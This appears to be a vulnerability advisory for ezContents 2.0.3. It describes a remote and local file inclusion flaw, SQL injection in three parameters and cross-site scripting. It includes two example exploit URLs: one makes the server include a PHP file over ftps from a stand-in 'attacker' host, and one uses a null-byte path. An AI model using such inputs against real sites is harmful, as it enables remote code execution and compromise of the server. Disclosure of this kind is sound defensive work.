Description:
Some vulnerabilities have been discovered in ezContents, which can be exploited by malicious people to conduct cross-site scripting and SQL injection attacks or to compromise a vulnerable system.
1) An error within the "moduleExternalLink()" function in modules/moduleSec.php allows to include arbitrary files from local resources, or from external resources by e.g. using the "ftps" protocol. Note that the "isExternalLink()" function in include/functions.php and the "adminExternalLink()" function in admin/adminbutton.php suffer from the same error.
Example:
http://host/modules/diary/event_list.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://attacker/file.php
http://host/modules/diary/event_list.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=/tmp/file.php%00
2) Input passed to the "groupname" parameter in headeruserdata.php, to the "contentname" parameter in showdetails.php, and to the "article" parameter in printer.php is not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
3) Input passed to the "subgroupname" parameter in loginreg2.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of a vulnerable site.
The vulnerabilities are confirmed in version 2.0.3. Other versions may also be affected.
Solution:
Edit the source code to ensure that input is properly verified.
